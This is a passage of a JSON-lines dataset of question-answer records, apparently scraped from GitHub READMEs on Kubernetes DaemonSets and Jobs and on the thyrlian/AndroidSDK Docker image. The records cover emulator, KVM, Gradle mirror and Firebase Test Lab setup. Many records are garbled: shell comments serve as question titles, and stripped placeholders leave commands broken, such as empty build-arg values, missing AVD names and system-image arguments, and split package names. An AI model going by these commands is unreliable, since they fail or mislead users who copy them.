doesn’t cause the pod to be created elsewhere. But when a new node is added to the cluster, the DaemonSet immediately deploys a new pod instance to it. It also does the same if someone inadvertently deletes one of the pods, leaving the node without the DaemonSet’s pod. Like a ReplicaSet, a DaemonSet creates the pod from the pod template configured in it.\n\n#### Explaning Daemon sets with an example\n\nLet’s imagine having a daemon called `ssd-monitor` that needs to run on all nodes that contain a solid-state drive (SSD). You’ll create a DaemonSet that runs this daemon on all nodes that are marked as having an SSD. The cluster administrators have added the `disk=ssd` label to all such nodes, so you’ll create the DaemonSet with a node selector that only selects nodes with that label,\n\n![creating daemon sets](https://user-images.githubusercontent.com/24803604/71683593-9c3f7d80-2d58-11ea-94a0-ffc9c3cd4071.png)\n\nYou’ll create a DaemonSet that runs a mock ssd-monitor process, which prints \"SSD OK\" to the standard output every five seconds. I’ve already prepared the mock container image and pushed it to Docker Hub, so you can use it instead of building your own. \n\nYou’re going to create a file called **ssd-monitor-daemonset.yaml** (you can create it in any directory you want), or copy from this repo, where you’ll find the file with filename [ssd-monitor-daemonset.yaml](https://github.com/knrt10/kubernetes-basicLearning/blob/master/ssd-monitor-daemonset.yaml). The following listing shows the entire contents of the file.\n\n```yml\napiVersion: apps/v1\nkind: DaemonSet\nmetadata:\n  name: ssd-monitor\nspec:\n  selector:\n    matchLabels:\n      app: ssd-monitor\n  template:\n    metadata:\n      labels:\n        app: ssd-monitor\n    spec:\n      nodeSelector:\n        disk: ssd\n      containers:\n      - name: main\n        image: knrt10/ssd-monitor\n```\n\nYou’re defining a DaemonSet that will run a pod with a single container based on the `knrt10/ssd-monitor` container image. An instance of this pod will be created for each node that has the `disk=ssd` label.\n\n#### Creating the DaemonSet\n\nUse `kubectl create` command as you know.\n\n`kubectl create -f ssd-monitor-daemonset.yaml`\n\nLet’s see the created DaemonSet:\n\n`kubectl get ds`\n\n```bash\nNAME          DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR   AGE\nssd-monitor   0         0         0       0            0           disk=ssd        18s\n```\n\nThose zeroes look strange. Didn’t the DaemonSet deploy any pods? List the pods:\n\n`kubectl get po`\n> No resources found.\n\nWhere are the pods? Do you know what’s going on? Yes, you forgot to label your nodes with the disk=ssd label. No problem—you can do that now. The DaemonSet should detect that the nodes’ labels have changed and deploy the pod to all nodes with a matching label. Let’s see if that’s true. The DaemonSet should have created one pod now. Let’s see:\n\n`kubectl label node minikube disk=ssd`\n\n```bash\nNAME                READY   STATUS    RESTARTS   AGE\nssd-monitor-zs6sr   1/1     Running   0          6s\n```\n\nOkay; so far so good. If you have multiple nodes and you add the same label to further nodes, you’ll see the DaemonSet spin up pods for each of them. Now, imagine you’ve made a mistake and have mislabeled one of the nodes. It has a spinning disk drive, not an SSD. What happens if you change the node’s label?\n\nThe pod is being terminated. But you knew that was going to happ", "tags": ["knrt10"], "source": "github_gists", "category": "knrt10", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2328, "answer_score": 10, "has_code": true, "url": "https://github.com/knrt10/kubernetes-basicLearning", "collected_at": "2026-01-17T12:56:00.368479"}
{"id": "gh_b572bb5f824f", "question": "How to: Running Pod that perform a single completable task", "question_body": "About knrt10/kubernetes-basicLearning", "answer": "So far, I have told about the pods that run continuously. We'll have cases that need to terminate once the task is completed. ReplicationContollers, RelicaSets, DaemonSets run continuously task that are never considered completed. Process in these tasks are restarted when they exit, but we do not want that. We want to stop once the process is completed. \n\n#### Introducing the Job resource\n\nKubernetes includes support for this through Job resource, which is similar to other resources we have discussed so far, but it allows you to run a pod whose container isn’t restarted when the process running inside finishes successfully. Once it does, the pod is considered complete.\n\nIn the event of node failure, pod on that node that are managed by the Job will be reschduled to other nodes the way ReplicaSets are. In the event of a failure of the process itself (when the process returns an error exit code), the Job can be configured to either restart the container or not.\n\nAs shown below, it tells how a pod created by a Job is rescheduled to a new node if the node it was initially scheduled to fails. It also shows both a managed pod, which isn’t rescheduled, and a pod backed by a ReplicaSet, which is.\n\nFor example, Jobs are useful for ad hoc tasks, where it’s crucial that the task finishes properly. You could run the task in an unmanaged pod and wait for it to finish, but in the event of a node failing or the pod being evicted from the node while it is performing its task, you’d need to manually recreate it. Doing this manually doesn’t make sense especially if the job takes hours to complete.\n\nAn example of such a job would be if you had data stored somewhere and you needed to transform and export it somewhere. You’re going to emulate this by running a container image built on top of the busybox image, which invokes the sleep command for two minutes. I’ve already built the image and pushed it to Docker Hub, but you can peek into its Dockerfile in the book’s code archive.\n\n![Job resource](https://user-images.githubusercontent.com/24803604/72050330-e2f81f00-32e6-11ea-9bba-ec9603835138.png)\n\n> Pods managed by Jobs are rescheduled until they finish successfully.\n\n#### Defining a Job resource\n\nCreate the Job manifest as in the following listing. You’re going to create a file called **exporter.yaml** (you can create it in any directory you want), or copy from this repo, where you’ll find the file with filename [exporter.yaml](https://github.com/knrt10/kubernetes-basicLearning/blob/master/exporter.yaml). The following listing shows the entire contents of the file.\n\n```yml\napiVersion: batch/v1\nkind: Job\nmetadata:\n  name: batch-job\nspec:\n  template:\n    metadata:\n      labels:\n        app: batch-job\n    spec:\n      restartPolicy: OnFailure\n      containers:\n      - name: main\n        image: knrt10/batch-job\n```\n\nJobs are part of the `batch` API group and `v1 API` version. The YAML defines a resource of type Job that will run the `knrt10/batch-job` image, which invokes a process that runs for exactly 120 seconds and then exits. The image is already been pushed on dockerhub by me.\n\nIn a pod’s specification, you can specify what Kubernetes should do when the processes running in the container finish. This is done through the `restartPolicy` pod spec property, which defaults to `Always`. Job pods can’t use the default policy, because they’re not meant to run indefinitely. Therefore, you need to explicitly set the restart policy to either `OnFailure` or `Never`. This setting is what prevents the container from being restarted when it finishes (not the fact that the pod is being managed by a Job resource).\n\n#### Seeing a Job run a pod\n\nAfter you create this Job with the `kubectl create` command, you should see it start up\na pod immediately:\n\n`kubectl get jobs`\n\n```bash\nNAME      DESIRED   SUCCESSFUL  AGE\nbatch-job 1         0           2s\n```", "tags": ["knrt10"], "source": "github_gists", "category": "knrt10", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 2328, "answer_score": 10, "has_code": true, "url": "https://github.com/knrt10/kubernetes-basicLearning", "collected_at": "2026-01-17T12:56:00.368492"}
{"id": "gh_3445e8eb215e", "question": "How to: Philosophy", "question_body": "About thyrlian/AndroidSDK", "answer": "Provide only the **barebone SDK** (the latest official minimal package) gives you the **maximum flexibility** in tailoring your own SDK tools for your project.  You can maintain an external **persistent** SDK directory, and mount it to any container.  In this way, you don't have to waste time on downloading over and over again, meanwhile, without having any unnecessary package.  Additionally, instead of one dedicated Docker image per Android API level (which will end up with a ton of images), you just have to deal with **one image**.  Last but not least, according to Android's [terms and conditions](https://developer.android.com/studio/terms), one may not **redistribute** the SDK or any part of the SDK.", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036637"}
{"id": "gh_80391587438f", "question": "How to: or you can also pass specific tool version as you wish (optional, while there is default version)", "question_body": "About thyrlian/AndroidSDK", "answer": "docker build --build-arg JDK_VERSION=\n--build-arg GRADLE_VERSION=\n--build-arg KOTLIN_VERSION=\n--build-arg ANDROID_SDK_VERSION=\n-t android-sdk android-sdk", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036665"}
{"id": "gh_9c7e731ff7e5", "question": "How to: copy the pre-downloaded SDK to the mounted 'sdk' directory", "question_body": "About thyrlian/AndroidSDK", "answer": "docker run -it --rm -v $(pwd)/sdk:/sdk thyrlian/android-sdk bash -c 'cp -a $ANDROID_HOME/. /sdk'", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036672"}
{"id": "gh_ae317f3f8626", "question": "How to: or install specific packages", "question_body": "About thyrlian/AndroidSDK", "answer": "sdk/cmdline-tools/tools/bin/sdkmanager \"build-tools;x.y.z\" \"platforms;android-\n\" ...", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036679"}
{"id": "gh_69771d528a70", "question": "How to: you should mount the SDK volume in read-only mode", "question_body": "About thyrlian/AndroidSDK", "answer": "docker run -it -v $(pwd)/sdk:/opt/android-sdk:ro thyrlian/android-sdk /bin/bash", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036685"}
{"id": "gh_71d22387251e", "question": "How to: you can mount without read-only option, only if you need to update SDK inside container", "question_body": "About thyrlian/AndroidSDK", "answer": "docker run -it -v $(pwd)/sdk:/opt/android-sdk thyrlian/android-sdk /bin/bash", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036690"}
{"id": "gh_f02bfd0e705e", "question": "How to: to keep and reuse Gradle cache", "question_body": "About thyrlian/AndroidSDK", "answer": "docker run -it -v $(pwd)/sdk:/opt/android-sdk -v $(pwd)/gradle-caches:/root/.gradle/caches thyrlian/android-sdk /bin/bash", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036695"}
{"id": "gh_0887483f59fd", "question": "How to: when the image was pulled from a registry", "question_body": "About thyrlian/AndroidSDK", "answer": "docker stop $(docker ps -aqf \"ancestor=thyrlian/android-sdk\") &> /dev/null && docker rm $(docker ps -aqf \"ancestor=thyrlian/android-sdk\") &> /dev/null", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036701"}
{"id": "gh_74b62a7e337e", "question": "How to: more flexible way - doesn't matter where the image comes from", "question_body": "About thyrlian/AndroidSDK", "answer": "docker stop $(docker ps -a | grep 'android-sdk' | awk '{ print $1 }') &> /dev/null && docker rm $(docker ps -a | grep 'android-sdk' | awk '{ print $1 }') &> /dev/null\n```", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1367, "answer_score": 10, "has_code": true, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036711"}
{"id": "gh_6665bdb88162", "question": "How to: Accepting Licenses", "question_body": "About thyrlian/AndroidSDK", "answer": "A helper script is provided at [`/opt/license-accepter.sh`](https://github.com/thyrlian/AndroidSDK/blob/master/android-sdk/license-accepter.sh) for accepting the SDK and its various licenses.  This is helpful in non-interactive environments such as CI builds.", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036717"}
{"id": "gh_8cd33750d0ac", "question": "How to: create a new Android Virtual Device", "question_body": "About thyrlian/AndroidSDK", "answer": "echo \"no\" | avdmanager create avd -n test -k \"system-images;android-25;google_apis;armeabi-v7a\"", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036729"}
{"id": "gh_c6fdaabac469", "question": "How to: launch emulator", "question_body": "About thyrlian/AndroidSDK", "answer": "emulator -avd test -no-audio -no-boot-anim -accel on -gpu swiftshader_indirect &\n```\n\nFor more details, please refer to [Emulator section](https://github.com/thyrlian/AndroidSDK#emulator).", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1367, "answer_score": 10, "has_code": true, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036734"}
{"id": "gh_6c51d29bd219", "question": "How to: VNC client recommendation", "question_body": "About thyrlian/AndroidSDK", "answer": "* macOS: [Screen Sharing](https://support.apple.com/guide/mac-help/share-the-screen-of-another-mac-mh14066/mac)\n* Linux: [Remmina](https://remmina.org/)\n* Cross-Platform: [VNC Viewer](https://www.realvnc.com/en/connect/download/viewer/)", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036739"}
{"id": "gh_a16a0c3e02c3", "question": "How to: Gradle Distributions Mirror Server", "question_body": "About thyrlian/AndroidSDK", "answer": "There is still room for optimization: recent distribution of Gradle is around 100MB, imagine different containers / build jobs have to perform downloading over and over again, and it has high influence upon your network bandwidth.  Setting up a local Gradle distributions mirror server would significantly boost your download speed.\n\nFortunately, you can easily build such a mirror server docker image on your own.\n\n  ```bash\n  docker build -t gradle-server gradle-server\n  # by default it downloads the most recent 14 gradle distributions (excluding rc or milestone)\n  # or you can also pass how many gradle distributions should be downloaded\n  docker build --build-arg GRADLE_DOWNLOAD_AMOUNT=\n-t gradle-server gradle-server\n  ```\n\nPreferably, you should run the [download script](https://github.com/thyrlian/AndroidSDK/blob/master/gradle-server/gradle-downloader.sh) locally, and mount the download directory to the container.\n\n  ```bash\n  gradle-server/gradle-downloader.sh [DOWNLOAD_DIRECTORY] [DOWNLOAD_AMOUNT]\n  docker run -d -p 80:80 -p 443:443 -v [DOWNLOAD_DIRECTORY]:/var/www/gradle.org/public_html/distributions gradle-server\n  ```\n\n  ```bash\n  # copy the SSL certificate from gradle server container to host machine\n  docker cp `docker ps -aqf \"ancestor=gradle-server\"`:/etc/apache2/ssl/apache.crt apache.crt\n  # copy the SSL certificate from host machine to AndroidSDK container\n  docker cp apache.crt `docker ps -aqf \"ancestor=thyrlian/android-sdk\"`:/home/apache.crt\n  # add self-signed SSL certificate to Java keystore\n  docker exec -it `docker ps -aqf \"ancestor=thyrlian/android-sdk\"` bash -c '$JAVA_HOME/bin/keytool -import -trustcacerts -file /home/apache.crt -keystore $JAVA_HOME/jre/lib/security/cacerts -storepass changeit -noprompt'\n  # map gradle services domain to your local IP\n  docker exec -it `docker ps -aqf \"ancestor=thyrlian/android-sdk\"` bash -c 'echo \"[YOUR_HOST_IP_ADDRESS_FOR_GRADLE_CONTAINER] services.gradle.org\" >> /etc/hosts'\n  ```\n\nStarting from now on, gradle wrapper will download gradle distributions from your local mirror server, lightning fast!  The downloaded distribution will be uncompressed to `/root/.gradle/wrapper/dists`.\n\nIf you don't want to bother with SSL certificate, you can simply change the `distributionUrl` inside `[YOUR_PROJECT]/gradle/wrapper/gradle-wrapper.properties` from `https` to `http`.", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1367, "answer_score": 10, "has_code": true, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036750"}
{"id": "gh_5331faa3f07e", "question": "How to: Preconditions on the host machine (for x86 emulator)", "question_body": "About thyrlian/AndroidSDK", "answer": "Read [How to Start Intel Hardware-assisted Virtualization (hypervisor) on Linux](https://software.intel.com/en-us/blogs/2012/03/12/how-to-start-intel-hardware-assisted-virtualization-hypervisor-on-linux-to-speed-up-intel-android-x86-emulator) for more details.\n\nRead [KVM Installation](https://help.ubuntu.com/community/KVM/Installation) if you haven't got KVM installed on the host yet.\n\n* Check the capability of running KVM\n\n  ```bash\n  grep -cw \".*\\(vmx\\|svm\\).*\" /proc/cpuinfo\n  # or\n  egrep -c '(vmx|svm)' /proc/cpuinfo\n  # a non-zero result means the host CPU supports hardware virtualization.\n  \n  sudo kvm-ok\n  # seeing below info means you can run your virtual machine faster with the KVM extensions\n  INFO: /dev/kvm exists\n  KVM acceleration can be used\n  ```\n\n* Load KVM module on the host\n\n  ```console\n  sudo modprobe kvm\n  # or for Intel processors\n  sudo modprobe kvm-intel\n  # or for AMD processors\n  sudo modprobe kvm-amd\n  ```\n\n* Check if KVM module is successfully loaded\n\n  ```console\n  lsmod | grep kvm\n  ```", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1367, "answer_score": 10, "has_code": true, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036760"}
{"id": "gh_452c0875d7ce", "question": "How to: Where can I run x86 emulator", "question_body": "About thyrlian/AndroidSDK", "answer": "* Linux physical machine\n\n* Cloud computing services (must support nested virtualization)\n\n  **Note**: there will be a performance penalty, primarily for CPU bound workloads and I/O bound workloads.\n\n  * [Amazon Web Services](https://aws.amazon.com/blogs/compute/running-hyper-v-on-amazon-ec2-bare-metal-instances/)\n\n  * [Google Cloud Platform](https://cloud.google.com/compute/docs/instances/enable-nested-virtualization-vm-instances)\n  \n  * [IBM Cloud](https://www.ibm.com/developerworks/cloud/library/cl-nestedvirtualization/index.html)\n\n  * [Microsoft Azure](https://azure.microsoft.com/en-us/blog/nested-virtualization-in-azure/)\n\n* [VirtualBox](https://www.virtualbox.org/) (since 6.0.0, it started supporting nested virtualization, which could be turned on by \"Enable Nested VT-x/AMD-V\", but at the moment, it's only for AMD CPUs)", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036767"}
{"id": "gh_5b7fbd050bda", "question": "How to: How to run emulator", "question_body": "About thyrlian/AndroidSDK", "answer": "* Check available emulator system images from remote SDK repository\n\n  ```console\n  sdkmanager --list --verbose\n  ```\n\n* Make sure that the required SDK packages are installed, you can find out by above command.  To install, use the command below.  Whenever you see error complains about `ANDROID_SDK_ROOT` (or `ANDROID_HOME`), such as `PANIC: Cannot find AVD system path. Please define ANDROID_SDK_ROOT` or `PANIC: Broken AVD system path. Check your ANDROID_SDK_ROOT value`, it means that you need to install following packages.\n\n  ```console\n  sdkmanager \"platform-tools\" \"platforms;android-\n\" \"emulator\"\n  ```\n\n* Download emulator system image(s) (on the host machine)\n\n  ```bash\n  sdkmanager \"system_image_1\" \"system_image_2\"\n  # e.g.:\n  # system-images;android-24;android-tv;x86\n  # system-images;android-24;default;arm64-v8a\n  # system-images;android-24;default;armeabi-v7a\n  # system-images;android-24;default;x86\n  # system-images;android-24;default;x86_64\n  # system-images;android-24;google_apis;arm64-v8a\n  # system-images;android-24;google_apis;armeabi-v7a\n  # system-images;android-24;google_apis;x86\n  # system-images;android-24;google_apis;x86_64\n  # system-images;android-24;google_apis_playstore;x86\n  ```\n\n* Run Docker container in privileged mode (not necessary for ARM emulator)\n\n  ```bash\n  # required by KVM\n  docker run -it --privileged -v $(pwd)/sdk:/opt/android-sdk:ro thyrlian/android-sdk /bin/bash\n  ```\n\n* Check acceleration ability (not necessary for ARM emulator)\n\n  ```bash\n  emulator -accel-check\n  \n  # when succeeds\n  accel:\n  0\n  KVM (version 12) is installed and usable.\n  accel\n  \n  # when fails (probably due to unprivileged mode)\n  accel:\n  8\n  /dev/kvm is not found: VT disabled in BIOS or KVM kernel module not loaded\n  accel\n  ```\n\n* Create a new Android Virtual Device\n\n  ```bash\n  echo \"no\" | avdmanager create avd -n\n-k\n# e.g.:\n  echo \"no\" | avdmanager create avd -n test -k \"system-images;android-24;default;armeabi-v7a\"\n  ```\n\n* List existing Android Virtual Devices\n\n  ```bash\n  avdmanager list avd\n  # ==================================================\n  Available Android Virtual Devices:\n      Name: test\n      Path: /root/.android/avd/test.avd\n    Target: Default Android System Image\n            Based on: Android 7.0 (Nougat) Tag/ABI: default/armeabi-v7a\n  # ==================================================\n  \n  # or\n  \n  emulator -list-avds\n  # 32-bit Linux Android emulator binaries are DEPRECATED\n  # ==================================================\n  test\n  # ==================================================\n  ```\n\n* Launch emulator in background\n\n  ```bash\n  emulator -avd\n-no-audio -no-boot-anim -no-window -accel on -gpu off &\n  \n  # if the container is not running in privileged mode, you should see below errors:\n  #=> emulator: ERROR: x86_64 emulation currently requires hardware acceleration!\n  #=> Please ensure KVM is properly installed and usable.\n  #=> CPU acceleration status: /dev/kvm is not found: VT disabled in BIOS or KVM kernel module not loaded\n  # or it's running on top of a VM\n  #=> CPU acceleration status: KVM requires a CPU that supports vmx or svm\n  ```\n\n* Check the virtual device status\n\n  ```bash\n  adb devices\n  # ==================================================\n  List of devices attached\n  emulator-5554\toffline\n  # \"offline\" means it's still booting up\n  # ==================================================\n  \n  # ==================================================\n  List of devices attached\n  emulator-5554\tdevice\n  # \"device\" means it's ready to be used\n  # ==================================================\n  ```\n\nNow you can for instance run UI tests on the emulator (just remember, the performance is POOR):\n\n  ```console\n/gradlew connectedAndroidTest\n  ```", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1367, "answer_score": 10, "has_code": true, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036786"}
{"id": "gh_0c41b8a2e1a5", "question": "How to: Troubleshooting emulator", "question_body": "About thyrlian/AndroidSDK", "answer": "If you encounter an error \"***Process system isn't responding***\" in the emulator, like below:\nYou could try:\n\n* Increase the limit of the memory resource available to Docker Engine.\n\n* Increase the amount of physical RAM on the emulator by setting / changing `hw.ramSize` in the AVD's configuration file (`config.ini`).  By default, it's not set and the default value is \"96\" (in megabytes).  You could simply set a new value via this command: `echo \"hw.ramSize=1024\" >> /root/.android/avd/\n.avd/config.ini`", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036794"}
{"id": "gh_60a4b7d39991", "question": "How to: Android Device", "question_body": "About thyrlian/AndroidSDK", "answer": "You can give a container access to host's USB Android devices.\n\n  ```console\n  # on Linux\n  docker run -it --privileged -v /dev/bus/usb:/dev/bus/usb -v $(pwd)/sdk:/opt/android-sdk thyrlian/android-sdk /bin/bash\n  \n  # or\n  # try to avoid privileged flag, just add necessary capabilities when possible\n  # --device option allows you to run devices inside the container without the --privileged flag\n  docker run -it --device=/dev/ttyUSB0 -v $(pwd)/sdk:/opt/android-sdk thyrlian/android-sdk /bin/bash\n  ```\n\nNote:\n\n* Connect Android device via USB on host first;\n\n* Launch container;\n\n* Disconnect and connect Android device on USB;\n\n* Select OK for \"Allow USB debugging\" on Android device;\n\n* Now the Android device will show up inside the container (`adb devices`).\n\nDon't worry about `adbkey` or `adbkey.pub` under `/.android`, not required.\n\n[Docker for Mac FAQ](https://docs.docker.com/docker-for-mac/faqs/#can-i-pass-through-a-usb-device-to-a-container) says:\n\n  > Unfortunately it is not possible to pass through a USB device (or a serial port) to a container.", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1367, "answer_score": 10, "has_code": true, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036807"}
{"id": "gh_0c278674a5f5", "question": "How to: Firebase Test Lab", "question_body": "About thyrlian/AndroidSDK", "answer": "You can also run UI tests on Google's [Firebase Test Lab](https://firebase.google.com/docs/test-lab) with emulators or physical devices.\n\nTo create and configure a project on the platform:\n\n* Create a project in [Google Cloud Platform](https://console.cloud.google.com/cloud-resource-manager) if you haven't created one yet.\n\n* Create a project in [Firebase](https://console.firebase.google.com/):\n\n    * Choose the recently created Google Cloud Platform project to add Firebase services to it.\n    \n    * Confirm Firebase billing plan.\n\n* Go to **IAM & Admin** -> **Service Accounts** in [Google Cloud Platform](https://console.cloud.google.com/iam-admin/serviceaccounts):\n\n    * Edit the Firebase Admin SDK Service Agent account.\n    \n    * **Keys** -> **ADD KEY** -> **Create new key** -> **Key type**: **JSON** -> **CREATE**.\n    \n    * Download and save the created private key to your computer.\n\n* Go to **IAM & Admin** -> **IAM** in [Google Cloud Platform](https://console.cloud.google.com/iam-admin/iam):\n\n    * Edit the Firebase Admin SDK Service Agent account.\n    \n    * **ADD ANOTHER ROLE** -> **Role**: **Project** -> **Editor** -> **SAVE**.\n\n* Go to [API Library](https://console.developers.google.com/apis/library) -> search for **Cloud Testing API** and **Cloud Tool Results API** -> enable them.\n\nOnce finished setup, you can then launch a container to deploy UI tests to Firebase Test Lab:\n\n```bash", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1367, "answer_score": 10, "has_code": true, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036816"}
{"id": "gh_e9c567a317d6", "question": "How to: pull the image with Google Cloud SDK integrated", "question_body": "About thyrlian/AndroidSDK", "answer": "docker pull thyrlian/android-sdk-firebase-test-lab", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036822"}
{"id": "gh_76be8daed197", "question": "How to: spin up a container with interactive mode", "question_body": "About thyrlian/AndroidSDK", "answer": "docker run -it -v $(pwd)/sdk:/opt/android-sdk -v\n/firebase.json:/root/firebase.json -v $(pwd)/gcloud-config:/root/.config/gcloud thyrlian/android-sdk-firebase-test-lab /bin/bash", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036830"}
{"id": "gh_bedb15e39f97", "question": "How to: or spin up a container with SSH", "question_body": "About thyrlian/AndroidSDK", "answer": "docker run -d -p 2222:22 -v $(pwd)/sdk:/opt/android-sdk -v\n/firebase.json:/root/firebase.json -v $(pwd)/gcloud-config:/root/.config/gcloud -v $(pwd)/authorized_keys:/root/.ssh/authorized_keys thyrlian/android-sdk-firebase-test-lab", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036838"}
{"id": "gh_5e621de36605", "question": "How to: authorize access to Google Cloud Platform with a service account (by its private key)", "question_body": "About thyrlian/AndroidSDK", "answer": "gcloud auth activate-service-account -q --key-file /root/firebase.json", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036845"}
{"id": "gh_76cff250f0f1", "question": "How to: below are just some examples, to give you an idea how it looks like", "question_body": "About thyrlian/AndroidSDK", "answer": "┌───────────────────┬────────────────────┬──────────────────────────────────────┬──────────┬─────────────┬─────────────────────────┬───────────────┐\n│      MODEL_ID     │        MAKE        │              MODEL_NAME              │   FORM   │  RESOLUTION │      OS_VERSION_IDS     │      TAGS     │\n├───────────────────┼────────────────────┼──────────────────────────────────────┼──────────┼─────────────┼─────────────────────────┼───────────────┤\n│ Nexus9            │ HTC                │ Nexus 9                              │ VIRTUAL  │ 2048 x 1536 │ 21,22,23,24,25          │               │\n│ NexusLowRes       │ Generic            │ Low-resolution MDPI phone            │ VIRTUAL  │  640 x 360  │ 23,24,25,26,27,28,29,30 │ beta=30       │\n│ OnePlus3T         │ OnePlus            │ OnePlus 3T                           │ PHYSICAL │ 1920 x 1080 │ 26                      │               │\n└───────────────────┴────────────────────┴──────────────────────────────────────┴──────────┴─────────────┴─────────────────────────┴───────────────┘", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1367, "answer_score": 10, "has_code": true, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036859"}
